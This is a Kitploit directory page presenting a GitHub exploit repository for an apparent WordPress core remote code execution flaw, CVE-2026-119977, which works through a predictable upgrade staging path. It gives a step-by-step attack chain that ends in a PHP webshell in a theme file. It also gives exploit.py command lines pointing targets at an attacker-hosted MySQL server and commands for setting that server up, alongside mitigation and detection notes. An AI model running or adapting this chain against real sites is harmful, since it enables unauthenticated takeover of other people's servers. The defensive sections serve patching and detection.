Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/blackhatexploitation/cve-2026-119977
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubblackhatexploitation/cve-2026-119977

CVE-2026-119977

WordPress Core RCE via Predictable Staging Path (CVSS 8.1)

查看仓库
11天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-119977 - WordPress Core RCE

Unauthenticated Remote Code Execution via Predictable Staging Path

Vulnerability Details

FieldValue
CVECVE-2026-119977
CVSS8.1 High
CWECWE-425 (Direct Request), CWE-377 (Insecure Temp File)
AffectedWordPress 4.7.0 - 7.1.3
Fixed7.1.4, 6.9.11, 6.8.12 (backports)
CISA KEVAdded Nov 3, 2026
VendorWordfence (CNA)

Root Cause

During WordPress core updates, WP_Upgrader::unpack_package() in class-wp-upgrader.php extracts the update package to a predictable, web-accessible path:

wp-content/upgrade/wordpress-<version>/wordpress/

The staged copy is a complete WordPress installation without wp-config.php. This means:

  • wp-admin/setup-config.php runs without authentication
  • wp-admin/install.php is accessible
  • Attacker can point installer to malicious database

Exploitation Flow

1. Detect WordPress version (generator meta tag, feed, readme.html)
   └── Version determines predictable staging path

2. Wait for or trigger upgrade window
   └── Staging directory exists during update process

3. Access staged installer
   └── wp-content/upgrade/wordpress-<version>/wordpress/wp-admin/setup-config.php

4. Point installer to attacker-controlled MySQL
   └── Attacker prepares DB with admin credentials they control

5. Complete installation via staged copy
   └── Creates admin account with attacker's credentials

6. Use Theme File Editor for RCE
   └── Edit 404.php or other theme file to inject PHP webshell

7. Execute commands
   └── /wp-content/themes/<theme>/404.php?c=whoami

The Fix (7.1.4)

WordPress 7.1.4 appends a random 16-character suffix to staging directory:

$working_dir = $upgrade_folder . wp_generate_password(16, false);

This makes the path unpredictable (62^16 keyspace).

Usage

pip install requests

# Scan for vulnerability
python3 exploit.py http://target.com --scan

# Monitor for upgrade window (5 minutes)
python3 exploit.py http://target.com --monitor --duration 300

# Full exploit (requires attacker MySQL server)
python3 exploit.py http://target.com --exploit \
    --db-host attacker.com \
    --db-user root \
    --db-pass password \
    --db-name wpexploit

# Exploit with monitoring
python3 exploit.py http://target.com --exploit --monitor \
    --db-host attacker.com \
    --db-user root \
    --db-pass password

Attacker MySQL Setup

The exploit requires an attacker-controlled MySQL server reachable from the target:

# On attacker machine
mysql -u root -p

CREATE DATABASE wpexploit;
CREATE USER 'wpexploit'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON wpexploit.* TO 'wpexploit'@'%';
FLUSH PRIVILEGES;

# Ensure MySQL allows remote connections
# Edit my.cnf: bind-address = 0.0.0.0

Mitigations

Block access to upgrade directory (immediate)

Apache (.htaccess in wp-content/upgrade/):

<Files *>
    Require all denied
</Files>

Nginx:

location /wp-content/upgrade/ {
    deny all;
}

Update WordPress (permanent fix)

wp core update --version=7.1.4

Detection

Check version

curl -s http://target.com/ | grep -oP 'WordPress [0-9.]+'
curl -s http://target.com/feed/ | grep -oP 'v=[0-9.]+'

Check for active upgrade

curl -s http://target.com/wp-content/upgrade/
curl -s "http://target.com/wp-content/upgrade/wordpress-7.1.3/wordpress/wp-admin/setup-config.php"

References

  • Wordfence Advisory
  • WordPress Trac
  • CISA KEV

Timeline

DateEvent
Oct 28, 2026First exploitation attempts detected
Nov 3, 2026Added to CISA KEV
Nov 4, 2026Public PoC released
Nov 6, 2026Federal remediation deadline
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    383
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    328
  • 6

    SafeLine

    chaitin/safeline

    自托管WAF和反向代理,可过滤恶意HTTP流量、阻止SQL注入、XSS和机器人攻击,具备速率限制和动态HTML/JS加密功能。

    288

探索所有工具

浏览我们的工具集合

查看所有工具 →